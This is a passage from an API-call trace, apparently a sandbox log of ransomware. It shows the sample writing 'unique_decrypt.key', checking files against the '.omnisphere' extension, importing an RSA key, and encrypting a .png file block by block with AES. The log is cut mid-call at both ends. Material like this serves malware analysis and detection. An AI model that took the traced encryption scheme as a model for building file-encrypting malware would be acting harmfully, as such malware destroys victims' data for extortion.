lpOverlapped=0x0) returned 1 [0063.179] CloseHandle (hObject=0x3a0) returned 1 [0063.179] GetProcessHeap () returned 0x1600000 [0063.179] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x164d4c0 | out: hHeap=0x1600000) returned 1 [0063.179] GetProcessHeap () returned 0x1600000 [0063.179] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x74) returned 0x163fd00 [0063.180] PathCombineW (in: pszDest=0x163fd00, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\unique_decrypt.key" [0063.180] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0063.180] WriteFile (in: hFile=0x3a0, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0e6fc, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0e6fc*=0x5a0, lpOverlapped=0x0) returned 1 [0063.180] CloseHandle (hObject=0x3a0) returned 1 [0063.180] GetProcessHeap () returned 0x1600000 [0063.180] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x163fd00 | out: hHeap=0x1600000) returned 1 [0063.180] GetProcessHeap () returned 0x1600000 [0063.180] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x163f500 | out: hHeap=0x1600000) returned 1 [0063.180] FindNextFileW (in: hFindFile=0x16395e8, lpFindFileData=0x3e0e998 | out: lpFindFileData=0x3e0e998*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x541b51b0, ftCreationTime.dwHighDateTime=0x1d4c773, ftLastAccessTime.dwLowDateTime=0xf3a37c50, ftLastAccessTime.dwHighDateTime=0x1d4d23e, ftLastWriteTime.dwLowDateTime=0xf3a37c50, ftLastWriteTime.dwHighDateTime=0x1d4d23e, nFileSizeHigh=0x0, nFileSizeLow=0x5a09, dwReserved0=0x0, dwReserved1=0xed, cFileName="gRmt1-B0wood4cXHs.png", cAlternateFileName="GRMT1-~1.PNG")) returned 1 [0063.180] GetProcessHeap () returned 0x1600000 [0063.180] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x7a) returned 0x163c498 [0063.180] PathCombineW (in: pszDest=0x163c498, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming", pszFile="gRmt1-B0wood4cXHs.png" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\gRmt1-B0wood4cXHs.png") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\gRmt1-B0wood4cXHs.png" [0063.180] StrStrW (lpFirst=".omnisphere", lpSrch=".png") returned 0x0 [0063.180] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\gRmt1-B0wood4cXHs.png" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\grmt1-b0wood4cxhs.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0063.181] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x3e0e6c0 | out: lpFileSize=0x3e0e6c0*=23049) returned 1 [0063.181] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x54e5, lpNewFilePointer=0x0, dwMoveMethod=0x3e0e6b4 | out: lpNewFilePointer=0x0) returned 1 [0063.181] ReadFile (in: hFile=0x3a0, lpBuffer=0x3e0e168, nNumberOfBytesToRead=0x524, lpNumberOfBytesRead=0x3e0e6b0, lpOverlapped=0x0 | out: lpBuffer=0x3e0e168*, lpNumberOfBytesRead=0x3e0e6b0*=0x524, lpOverlapped=0x0) returned 1 [0063.181] GetTickCount () returned 0x11501c1 [0063.181] GetTickCount () returned 0x11501c1 [0063.181] GetTickCount () returned 0x11501c1 [0063.181] GetTickCount () returned 0x11501c1 [0063.181] GetTickCount () returned 0x11501c1 [0063.181] GetTickCount () returned 0x11501c1 [0063.181] GetTickCount () returned 0x11501c1 [0063.181] GetTickCount () returned 0x11501c1 [0063.181] GetTickCount () returned 0x11501c1 [0063.181] GetTickCount () returned 0x11501c1 [0063.181] GetTickCount () returned 0x11501c1 [0063.181] GetTickCount () returned 0x11501c1 [0063.181] GetTickCount () returned 0x11501c1 [0063.181] GetTickCount () returned 0x11501c1 [0063.181] GetTickCount () returned 0x11501c1 [0063.181] GetTickCount () returned 0x11501c1 [0063.181] GetTickCount () returned 0x11501c1 [0063.181] GetTickCount () returned 0x11501c1 [0063.181] GetTickCount () returned 0x11501c1 [0063.181] GetTickCount () returned 0x11501c1 [0063.182] GetTickCount () returned 0x11501c1 [0063.182] GetTickCount () returned 0x11501c1 [0063.182] GetTickCount () returned 0x11501c1 [0063.182] GetTickCount () returned 0x11501c1 [0063.182] GetTickCount () returned 0x11501c1 [0063.182] GetTickCount () returned 0x11501c1 [0063.182] GetTickCount () returned 0x11501c1 [0063.182] GetTickCount () returned 0x11501c1 [0063.182] GetTickCount () returned 0x11501c1 [0063.182] GetTickCount () returned 0x11501c1 [0063.182] GetTickCount () returned 0x11501c1 [0063.182] GetTickCount () returned 0x11501c1 [0063.182] CryptAcquireContextW (in: phProv=0x3e0e148, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0e148*=0x163c0e0) returned 1 [0063.182] CryptImportKey (in: hProv=0x163c0e0, pbData=0x3e0e0b0, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0e154 | out: phKey=0x3e0e154*=0x1639528) returned 1 [0063.182] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0e600*, pdwDataLen=0x3e0e144*=0x75, dwBufLen=0x80 | out: pbData=0x3e0e600*, pdwDataLen=0x3e0e144*=0x80) returned 1 [0063.183] CryptDestroyKey (hKey=0x1639528) returned 1 [0063.183] CryptReleaseContext (hProv=0x163c0e0, dwFlags=0x0) returned 1 [0063.183] CreateFileMappingW (hFile=0x3a0, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x5a09, lpName=0x0) returned 0x3a4 [0063.183] MapViewOfFile (hFileMappingObject=0x3a4, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x5a09) returned 0x3430000 [0063.183] CryptAcquireContextW (in: phProv=0x3e0e138, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0e138*=0x163c5a8) returned 1 [0063.184] CryptImportKey (in: hProv=0x163c5a8, pbData=0x3e0e0f0, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0e148 | out: phKey=0x3e0e148*=0x16396e8) returned 1 [0063.184] CryptSetKeyParam (hKey=0x16396e8, dwParam=0x4, pbData=0x3e0e12c*=0x2, dwFlags=0x0) returned 1 [0063.184] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0e134*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0e134*=0x10) returned 1 [0063.184] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.184] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.184] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.184] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.184] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.184] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.184] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.184] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.184] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.184] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.184] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.184] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.184] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.184] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.184] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.184] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.185] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.185] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.185] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.185] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.185] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.185] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.185] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.185] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.185] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.185] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.185] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.185] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.185] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.185] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.185] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.185] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.185] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.185] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.185] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.185] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.185] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.185] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.185] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.185] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.185] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.185] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.186] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.186] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.186] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.186] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.186] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.186] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.186] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.186] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.186] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.186] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.186] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.186] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.186] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.186] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.186] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.186] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.186] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.186] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.186] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.186] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.186] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.186] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.186] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.186] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.186] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.186] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.186] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.187] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.187] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.187] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.187] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.187] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.187] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.187] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.187] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.187] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.187] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.187] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, 